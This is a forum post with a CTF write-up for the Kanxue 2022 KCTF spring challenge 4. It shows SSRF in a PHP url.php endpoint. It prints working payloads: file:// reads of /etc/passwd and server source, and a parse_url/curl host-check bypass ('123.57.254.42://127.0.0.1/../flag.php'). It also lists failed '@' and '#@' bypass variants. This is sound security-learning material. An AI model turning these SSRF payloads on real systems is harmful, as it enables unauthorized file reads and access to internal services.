首页
论坛
课程
招聘
[原创] 看雪 2022 KCTF 春季赛 第四题 飞蛾扑火
2022-5-17 04:10 4175

[原创] 看雪 2022 KCTF 春季赛 第四题 飞蛾扑火

2022-5-17 04:10
4175

题解

访问 http://121.36.145.157:8044/ ,查看源代码:

1
2
3
4
5
6
7
8
9
10
<html>
<head>
<meta charset="utf-8">
<title>欢迎挑战 Design by 香草</title>
</head>
<body>
<!--phpinfo.php-->
<img src="url.php?url=https://ctf.pediy.com/upload/team/762/team236762.png">
</body>
</html>

url.php?url= 一眼ssrf,file协议读文件:http://121.36.145.157:8044/url.php?url=file://127.0.0.1/var/www/html/url.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php
function curl_request($url, $data=null, $method='get', $header = array("content-type: application/json"), $https=true, $timeout = 5){
    $method = strtoupper($method);
    $ch = curl_init();//初始化
    curl_setopt($ch, CURLOPT_URL, $url);//访问的URL
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//只获取页面内容,但不输出
    if($https){
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//https请求 不验证证书
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);//https请求 不验证HOST
    }
    if ($method != "GET") {
        if($method == 'POST'){
            curl_setopt($ch, CURLOPT_POST, true);//请求方式为post请求
        }
        if ($method == 'PUT' || strtoupper($method) == 'DELETE') {
            curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); //设置请求方式
        }
        curl_setopt($ch, CURLOPT_POSTFIELDS, $data);//请求数据
    }
    curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
    curl_setopt($ch, CURLOPT_HTTPHEADER, $header); //模拟的header头
    //curl_setopt($ch, CURLOPT_HEADER, false);//设置不需要头信息
    $result = curl_exec($ch);//执行请求
    curl_close($ch);//关闭curl,释放资源
    return $result;
}
 
$url=$_GET["url"];
$uu=parse_url($url);
$host=isset($uu["host"])?$uu["host"]:"";
$scheme=isset($uu["scheme"])?$uu["scheme"]:"";
if(empty($host)){
    die("host is null");
}
if(empty($scheme)){
    die("scheme is null");
}
 
//https://ctf.pediy.com/upload/team/762/team236762.png?
if($host=="ctf.pediy.com"||$host=="127.0.0.1"||$host=="localhost"){
//echo curl_request("http://123.57.254.42/flag.php","get",[],true,5);//get flag
  echo curl_request($url,'',"get",[],true,5);
 
}else{
die("host not allow");
}
 
 
?>

直接访问 http://123.57.254.42/flag.php 提示 error ip,需要从服务端去访问。

 

参考 https://toutiao.io/posts/kuvr3yy/preview parse_url 过滤:http://121.36.145.157:8044/url.php?url=123.57.254.42://127.0.0.1/../flag.php

 

得到flag:

1
flag{xxx_999()xx*@eeEEE}

碎碎念

(表面Web,实际Misc)

 

属于那种见过秒杀(真·可以按秒计数的),没见过打死也做不出来的题
(逆向题至少还可以花时间死磕,这类题真的无从下手)

 

从一血战队竟然花了47min之久来看,比起相信他们是花了几十分钟才现场搜索到相关资料,更倾向于相信他们12点时在吃饭没空看题,然后12点40分吃完回来,看了眼题然后秒杀

自己的做题过程

Web题,查看源代码是基本操作。本题的首页除了图片,额外的提示就是phpinfo.phpurl.php的存在。

 

(回想起来,自己的第一步操作是把图片拉下来 binwalk 走一遍看有没有隐写……纯粹浪费时间)

 

首页用url.php?url=加载图片的方式直白的点出了SSRF(Server-Side Request Forgery,服务端请求伪造),通过控制 url 参数肯定能获得一些重要的内部信息。

 

保守起见还是先看了一眼phpinfo:http://121.36.145.157:8044/phpinfo.php,几个引起注意的地方:

1
2
3
4
5
6
7
8
9
10
Apache Version  Apache/2.4.38 (Debian)
Server API  Apache 2.0 Handler
CONTEXT_DOCUMENT_ROOT   /var/www/html
SCRIPT_FILENAME    /var/www/html/phpinfo.php
 
PHP Version    7.3.11
disable_functions    no value    no value
open_basedir    no value    no value
 
cURL Information    7.64.0

Apache、PHP、cURL的版本都不算高,大概率存在一些 CVE(当然,没必要现在就考虑这些)
Server API 表明 PHP 以 mod_php 模式作为一个动态库直接加载进 Apache 进程中,那么 SSRF 打 PHP-FPM 获得 RCE 的套路在本题中不存在
Web的根目录是默认的/var/www/html,所以 phpinfo.phpurl.php 也在这个目录下
open_basedir 和 disable_functions 都是空,让人有强烈的获得 webshell 的冲动

 

(从题解来看,这些信息都没啥用)

 

关注点回到 url.php,第一个目标是先获取到源码内容以进一步分析。
印象里ssrf常用file协议读文件,先构造一下:

  • http://121.36.145.157:8044/url.php?url=file://etc/passwd,返回了 host not allow
    然后各种搜索资料,发现file:之后要有三个/(前两个是url中的,第三个是根目录),修改一下:
  • http://121.36.145.157:8044/url.php?url=file:///etc/passwd,返回了 host is null
    继续搜索,20多分钟后才找到一篇文章说 file:// 协议也可以加 host,再修改一下:
  • http://121.36.145.157:8044/url.php?url=file://127.0.0.1/var/www/html/url.php,成功收到了响应(需要查看源代码才能看到内容)
    最后是获得 url.php 的内容:(查看源代码)
  • http://121.36.145.157:8044/url.php?url=file://127.0.0.1/var/www/html/url.php

代码中有一行 http://123.57.254.42/flag.php,直接访问返回了 error ip,结合ssrf能够猜到需要设法让服务器去访问此页面。(顺手试了一发XFF伪造发现不行)

 

现在思考的是如何绕过 parse_urlurl 的过滤检查。搜索资料,很多文章都提到了 php parse_url 和 curl 对 url 的解析规则不同。
(自己构造需要相当的创造力,亦或者对二者的源码非常熟练;从做题角度还是寻找前人的工作最快捷)
绝大多数文章给出的都是用两个 @ 的方法:http://u:p@123.57.254.42@127.0.0.1/flag.php,然而却没有得到flag

 

(到目前为止是12点30分,题目放出后只过了30分钟就摸到了最后一步,没想到却被临门一脚卡了两天)

 

本地测试不需要配置web服务器,只需要装好php环境,把代码里的 _GET 改掉即可直接命令行启动。

 

失败的尝试(也是比较容易搜索到的方法):

  • 双 "@" 绕过,parse_url 按照最后一个 @ 解析 host,curl 按照第一个 @ 解析 host:大部分技术文章给出的结果,curl解析后的 host 只包含两个 @ 之间的内容,但实测发现curl把第一个 @ 到第一个 / 之间的所有内容都作为 host,由于其中包含第二个 @ 字符,在 curl_exec 时会失败
    与curl的版本有关,这种利用方式出自 blackhat'17的一个工作,原作者提到已被修复
  • "#@" 绕过:http://123.57.254.42#@127.0.0.1/flag.phphttp://127.0.0.1#@123.57.254.42/flag.php,都不能用
  • 0://123.57.254.42:80;127.0.0.1:80/flag.php//123.57.254.42:80;127.0.0.1:80/flag.php
  • ...

总结下来,网上的技术文章虽然很多,但原创且具有时效性的着实难找。题目的php版本很低,但是curl的版本却不低,上面的尝试大都失败在curl_exec中,因为新版的curl对url的解析更严谨了。

 

开始走偏路,因为 open_basedir 为空,用 file:// 读了服务器的 /proc/net/tcp 文件找监听的端口(寄希望找到 redis 之类的服务打 RCE),发现只有web服务在监听,基本杜绝了获得 shell 的可能
php 7.3.11 版本过旧,能找到很多公开的 CVE,但在题目的苛刻条件下也无法利用

 

眼见提交人数达到两位数,基本可以确定题目的破解方式一定是最原始的简单ssrf,而且是可以公开搜索到 POC 的。

 

思路转回,开始不断变换关键字搜索各种可能相关的文章(Misc题的既视感),直到在搜索结果不起眼的位置发现了 浅谈 URL 协议 这篇,作者 香草
(既然是出题人写的文章,那答案几乎一定就在里面)
(另一启示:搜索解法时带上出题人的名字第一个结果就是这篇文章)

 

3.2部分给出了一种其他多数文章没有提到的构造方法:

1
2
3
4
5
6
7
127.0.0.1://www.baidu.com
对于这种特殊的协议格式,就比较有意思
parse_url 识别的 host 为 www.baidu.com 但是 curl 请求会认为是 127.0.0.1,这就
可能导致问题,比如利用 parse_url 验证 host 是否为 127.0.0.1 这种内网 IP,然
后 用 curl 发 起 请 求 , 就 可 能 等 导 致 ssrf 攻 击 。 比 如 :
127.0.0.1://www.baidu.com/../index.php
这里得到的 host 是 www.baidu.com,但是 curl 实际访问的确是 127.0.0.1

按照这种方法构造出 123.57.254.42://127.0.0.1/../flag.php,然后作为url参数请求url.php

1
http://121.36.145.157:8044/url.php?url=123.57.254.42://127.0.0.1/../flag.php

终于获得的flag

 

(p.s. 本地 curl 命令行测试失败,不清楚具体原因。既然题已经做出来了,
那安心等待结束,学习其他人的writeup吧)


【看雪培训】《Adroid高级研修班》2022年夏季班招生中!

最后于 2022-5-17 04:27 被mb_mgodlfyn编辑 ,原因:
收藏
点赞3
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回